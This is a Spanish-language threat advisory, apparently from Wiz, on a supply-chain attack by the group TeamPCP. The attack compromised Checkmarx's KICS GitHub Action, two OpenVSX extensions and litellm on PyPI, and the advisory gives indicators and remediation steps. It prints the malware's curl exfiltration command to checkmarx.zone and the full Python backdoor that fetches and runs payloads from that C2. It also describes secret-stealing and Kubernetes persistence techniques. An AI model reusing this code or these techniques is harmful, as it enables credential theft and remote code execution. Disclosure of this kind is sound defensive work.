La acción KICS GitHub se vio comprometida con malware de robo de credenciales por parte de TeamPCP, el mismo grupo detrás del ataque Trivy. KICS es una infraestructura de código abierto como escáner de seguridad de código de Checkmarx. Entre las 12:58 y las 16:50 UTC del 23 de marzocualquier usuario de esta acción de GitHub que estuviera fijando una de las etiquetas comprometidas habría recibido el malware. El repositorio se eliminó a las 16:50 UTC, poco después de que un usuario presentara un problema de GitHub notificando a los mantenedores del incidente.

La acción estaba disponible en https://github.com/Checkmarx/kics-github-action antes de la eliminación.

Actualización 24/03:

11:30 UTC: Los paquetes «litellm» (versiones 1.82.7 y 1.82.8) en PyPI han sido troyanizados. Contienen la misma funcionalidad que la operación anterior, pero utilizando un nuevo dominio de exfiltración: models.litellm[.]nube. La actualización maliciosa se publicó aproximadamente a las 8:30 UTC y PyPI la puso en cuarentena a las 11:25 UTC. Los clientes de Wiz pueden ver un aviso en el Centro de amenazas.

Actualizaciones 23/03:
19:24 UTC:
El repositorio ha sido restablecido y los encargados de su mantenimiento afirman «El problema ya está resuelto».

22:25 UTC: Sysdig informa que ast-github-action también se vio afectado. Se limitaron a observar una única etiqueta maliciosa. 2.3.28 – Sin embargo, según las tácticas de TeamPCP, creemos que es probable que todas las etiquetas se hayan visto afectadas.

22:35 UTC: Basado en un consejo del investigador independiente Adnan Khan, Wiz ha confirmado que las extensiones Checkmarx OpenVSX asistencia-cx-dev 1.7.0 y resultados-ast 2.53.0 han sido comprometidos. Esto fue informado simultáneamente por ReversingLabs a través de un tweet. Ver «Carga útil OpenVSX» sección a continuación para obtener más detalles. Los hemos informado a OpenVSX para su eliminación.

Actualización 24/03 9:00 UTC: Checkmarx ha publicado una actualización de seguridad que aborda los problemas con la acción KICS GitHub y los complementos OpenVSX. Indican un tiempo de resolución de 15:41 UTC para OpenVSXsin embargo, observamos que las versiones maliciosas estaban presentes en el momento de nuestro informe. Además, aunque se han lanzado nuevas versiones, las versiones maliciosas aún no se han eliminado.

Este es el segundo escáner de seguridad de código abierto popular que este grupo ha comprometido en los últimos cinco días. La operación utiliza convenciones de nomenclatura familiares y la misma clave pública RSA, lo que permite a Wiz evaluar con gran confianza que se trata del mismo actor.

Carga útil de acción de KICS Github

El código malicioso se inyectó de la misma manera que en el incidente de Trivy:

  1. El atacante organizó confirmaciones del impostor (confirmaciones en una bifurcación del repositorio) que contienen su carga útil: setup.sh y modificó el archivo action.yaml para activar un evento «Preparar entorno» que ejecutaría setup.sh.

Edición maliciosa de action.yaml
  1. Luego, el atacante usó lo que parece ser una identidad comprometida para actualizar directamente las 35 etiquetas en el proyecto y señalarlas a esas confirmaciones preparadas (lista de etiquetas a continuación).

setup.sh funciona de manera similar a las rutinas de robo de secretos empleadas en la operación Trivy, reuniendo secretos, luego cifrándolos y extrayéndolos. Nuevamente intenta enviarlos a un servidor controlado por el atacante, con la creación del repositorio github como respaldo, pero utiliza un nuevo dominio de exfiltración, checkmarx.zone (83.142.209.11) y el repositorio de exfiltración docs-tpcp. Al igual que con la operación Trivy, este malware puede soltar un script de Python destinado a descargar e instalar una carga útil siguiente. Sin embargo, esta implementación agrega un nuevo mecanismo de persistencia centrado en Kubernetes.

Mientras kics-github-action tiene ~1% del uso público visible de trivy-actiontodavía se adopta ampliamente de forma pública y privada como un escáner de seguridad de infraestructura como código.

Compromiso de Github

El ataque parece haber sido logrado mediante el compromiso de la cx-plugins-releases (GitHub ID 225848595), ya que esa es la identidad involucrada en la publicación de las etiquetas maliciosas.

Funcionalidad de secuencia de comandos

Inicialización, robo de datos y filtración

El script se inicia con el indicador establecido -euo pipefail para garantizar que falle silenciosamente, luego busca acciones de GitHub y ejecutores genéricos y crea un archivo provisional en /tmp. Luego inicia su búsqueda de credenciales, que realiza las siguientes cacerías:

  • Recopila variables ambientales, claves públicas/privadas SSH y busca cualquier archivo que contenga estos valores.

  • Si detecta que se está ejecutando en un ejecutor alojado en GitHub, ejecuta un script de Python para acceder a /proc/[PID]/mem para volcar la memoria de Runner.Worker y tallar objetos JSON marcados como secretos mediante expresiones regulares

  • Un segundo script de Python consulta los puntos finales de metadatos de la instancia de AWS (IMDSv1/v2), rastrea directorios comunes (/home, /root, etc.) y consulta la API de Kubernetes si se encuentran tokens de cuenta de servicio local.

Todos los secretos identificados se agrupan en un archivo de texto sin formato recopilado y luego se cifran utilizando AES-256-CBC y una clave de sesión aleatoria (openssl rand 32 > «$_SESSION_KEY»). Luego, la clave de sesión se cifra utilizando la clave pública RSA codificada del atacante. Esta es la misma clave pública utilizada en la operación anterior. Luego, ambos archivos se comprimen en tpcp.tar.gz.

El guión intenta exfiltrarlos mediante curl. El código de estado HTTP se captura para verificar el éxito:

_HTTP=$(curl -s -o /dev/null -w "%{http_code}" -X POST https://checkmarx.zone -H "Content-Type: application/octet-stream" -H "X-Filename: tpcp.tar.gz" --data-binary "@${_BUNDLE}" 2>/dev/null || echo "000")

Si no tiene éxito y el entorno comprometido contiene un GITHUB_TOKEN, el script se autentica en la API de GitHub. Crea mediante programación un nuevo repositorio (/docs-tpcp/) dentro de la cuenta de GitHub de la víctima, crea una «versión» de software y carga el tarball cifrado robado como un activo de versión. La campaña anterior utilizó /tpcp-docs

Nueva persistencia basada en Kubernetes

setup.sh intenta crear la capacidad para una operación de seguimiento a través del mismo script sysmon.py que en la operación Trivy; sin embargo, esta vez se invoca un nuevo método basado en Kubernetes, en un intento de sobrevivir a la eliminación del contenedor de CI inicial. Si el script se ejecuta en un contenedor de Kubernetes que tiene permisos suficientes, intentará implementar un pod con privilegios elevados y ejecutar sysmon.py dentro de él. Si se ejecuta en un host Linux estándar, crea directorios ocultos en la carpeta de inicio del usuario ~/.config/sysmon y escribe la puerta trasera de Python allí. La puerta trasera es la misma que en la versión anterior, excepto que lee desde https://checkmarx.zone/raw, en lugar de la dirección ico utilizada en la operación Trivy.

import urllib.request
import os
import subprocess
import time

C_URL = "https://checkmarx[.]zone/raw"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"

def g():
    try:
        req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
        with urllib.request.urlopen(req, timeout=10) as r:
            link = r.read().decode('utf-8').strip()
            return link if link.startswith("http") else None
    except:
        return None

def e(l):
    try:
        urllib.request.urlretrieve(l, TARGET)
        os.chmod(TARGET, 0o755)
        subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
        with open(STATE, "w") as f: 
            f.write(l)
    except:
        pass

if __name__ == "__main__":
    time.sleep(300)
    while True:
        l = g()
        prev = ""
        if os.path.exists(STATE):
            try:
                with open(STATE, "r") as f: 
                    prev = f.read().strip()
            except: 
                pass
        
        if l and l != prev and "youtube.com" not in l:
            e(l)
            
        time.sleep(3000)

Creación de pods privilegiados e instalación de malware

El script verifica si el archivo: /var/run/secrets/kubernetes.io/serviceaccount/token existe y, si existe, usa ese token para consultar /api/v1/nodes para recopilar una lista de cada servidor físico o virtual subyacente en el clúster y extrae el nombre_nodo.

Para cada nodo, el script genera un manifiesto de pod y un script de carga útil. El script utiliza el manifiesto del pod para generar un nombre dinámico y coloca un pod con privilegios elevados en el ‘espacio de nombres’:’kube-system. El pod está configurado para ejecutar el script de carga útil personalizado generado previamente y luego salir. En cada nodo identificado, el script de carga útil instala la puerta trasera sysmon.py en /root/.config/sysmon/sysmon.py y crea un archivo de unidad systemd en /root/.config/systemd/user/sysmon.service para garantizar que se ejecute el script de Python.

Código de configuración del módulo

Carga útil OpenVSX

Ambas extensiones comprometidas (ast-results v2.53.0 y cx-dev-assist v1.7.0) contenía cargas útiles idénticas. Se publicaron con 12 segundos de diferencia a las 12:53 UTC del 23 de marzo de 2026, a través de ast-phoenix cuenta en Open VSX. Las versiones de VS Code Marketplace no parecen verse afectadas.

Flujo de ejecución de carga útil

  1. Al activar la extensión, el nuevo malware environmentAuthChecker.js es invocado desde activateCore.js

  2. Esta carga útil primero verifica si la víctima tiene credenciales para al menos un proveedor de nube.

Puerta de credenciales dentro de la carga útil

Si se detecta alguna credencial, la carga útil de la segunda etapa se recupera del C2: checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz

Recuperación de la segunda etapa del C2
  1. La carga útil intenta la ejecución a través de npx, bunx, pnpx o Yarn dlx. Esto cubre los principales administradores de paquetes de JavaScript. El paquete recuperado contiene un completo ladrón de credenciales.

  2. Luego, las credenciales recopiladas se cifran, utilizando las claves como en otras partes de esta campaña, y se exfiltran a checkmarx[.]zone/vsx como tpcp.tar.gz.

credenciales de búsqueda de función scand()

En sistemas que no son CI, el malware instala la persistencia a través de un servicio de usuario systemd. Las encuestas del script de persistencia https://checkmarx[.]zone/raw cada 50 minutos para cargas útiles adicionales, con un interruptor de apagado que cancela si la respuesta contiene «youtube». Actualmente, el enlace redirige a The Show Must Go On de Queen.

persistir() función de persistencia

Artefactos comprometidos

Extensiones OpenVSX

Artefacto SHA256
ast-resultados-2.53.0.vsix 65bd72fcddaf938cefdf55b3323ad29f649a65d4ddd6aea09afa974dfc7f105d
cx-dev-assist-1.7.0.vsix 744c9d61b66bcd2bb5474d9afeee6c00bb7e0cd32535781da188b80eb59383e0
checkmarx-util-1.0.4.tgz 0d66d8c7e02574ff0d3443de0585af19c903d12466d88573ed82ec788655975c
entornoAuthChecker.js 527f795a201a6bc114394c4cfd1c74dce97381989f51a4661aafbc93a4439e90

Lanzamientos de kics-github-action

La versión v1.1 fue la única versión maliciosa creada. Otras versiones, activadas automáticamente por los eventos de etiquetas, fallaron porque esas versiones ya existían.

kics-github-acción Tags

Etiqueta Comprometer SHA
v1 0e22ec8d1e0dda3c62bf4beffcd4a8a5db1abda1
v1.0 45f3749467a6017cb4fb749054b498d149dd5924
v1.1 8e20c7a67bb95632e2040327a355fb97e6014d29
v1.2 93de85c910d859b759cf9185aa78d5a23a4b7000
v1.3 0e7343ba084735863db92b6f8ba2fa9dee604f7c
v1.4 2dc0fa613f6f4c15f26ad98225ad253475681616
v1.5 f00191dd3352c0cd83c6cce4e6bf04b628214dd0
v1.6 e0359b1a253ee66c8018586c3225e6e9cd2d8a4f
v1.6.1 dc6dbf358998c0c64da83edc8fcd581c12656b19
v1.6.2 08b9ea97eb292d5e1f9ac2d8e21c0ba32f0fdff0
v1.6.3 005fb0837553de722f8bf11d98e905dbdde19861
v1.7.0 a5471d37c656ecd4560e8e0b3977910f27025618
v2 3d49875ed47c6b8b4c8b50e0421418cf6b9f35f4
v2.0.0 121c38fb49c9fc82160245fb6e2a9119db636e4d
v2.1.0 1e9eeaba37fe0032deba133f598e74dab0ceb3b7
v2.1.1 c5c07508527fc6a125855eebfb533e64f675bd8e
v2.1.2 c999dbb9cc904e23675f9929f7e0e51d132879cf
v2.1.3 4ebf62dd8ff318412b38d19841fc3c8650e294bf
v2.1.4 3ae9f0d6f8139964635d411149f9b3e0a6eb935e
v2.1.5 96a0e8eb31c3cce6c495c9a49dd49c881cd17934
v2.1.6 31fbf5831a2e52429738fdc0cbaa20e57872b6fc
v2.1.7 fca3a20afcb8ec7f9932c060a236d2a9021fdd2b
v2.1.8 0f81f132f9f09bb4976d403914a44a1a1eb6158d
v2.1.9 c0e23718a5074f3b8ad286f37b532e02057af35f
v2.1.10 d66f0657133bc42f8264458063999bf1910490db
v2.1.11 e35c9d6a5faffc1c5b3450d0bf09006aa9b9e906
v2.1.12 2eee333d70fb6e14ce1d4aa73f12058bc5d70193
v2.1.13 f9641eb512f5c6530d13275903e8a97baf0925f1
v2.1.14 e8754eebc822b5122e96a6142b28dbc0e179c91c
v2.1.15 69b3f020390222a9fcb6029ba56533b2fb12f103
v2.1.16 db942a0dd7e9d1aeac72bc675bdb67f39a688b63
v2.1.17 208813bf5feca5df9a935363cd426bc914614d0b
v2.1.18 3fdeadb81fbeddc1453163cc87bc173911fd47e2
v2.1.19 310734c0ffd29438f6195a24e2cbbacfdc33c9ab
v2.1.20 b974e53df1e3a2cd22ea90f0ec01882394feede4

¿Qué acciones deben tomar los equipos de seguridad?

  1. Auditar las referencias de KICS GitHub Actions: Revisar flujos de trabajo usando kics-github-action. Si hizo referencia a una etiqueta de versión en lugar de a un SHA, verifique los registros de ejecución del flujo de trabajo desde la ventana de exposición para detectar signos de compromiso.

  2. Búsqueda de artefactos de exfiltración: busque repositorios nombrados docs-tpcp en su organización GitHub, lo que puede indicar una exfiltración exitosa a través del mecanismo de reserva.

Endurecimiento a largo plazo: Consulte Cómo reforzar las acciones de GitHub de Wiz: la guía no oficial

¿Cómo puede ayudar Wiz?

Los clientes de Wiz deben continuar monitoreando el aviso en el Centro de amenazas de Wiz para obtener orientación continua, consultas prediseñadas y referencias a detecciones relevantes que pueden utilizar para evaluar el riesgo en su entorno.

¿Te preocupa haber sido impactado? Conéctese con el equipo de respuesta a incidentes de Wiz.



Source link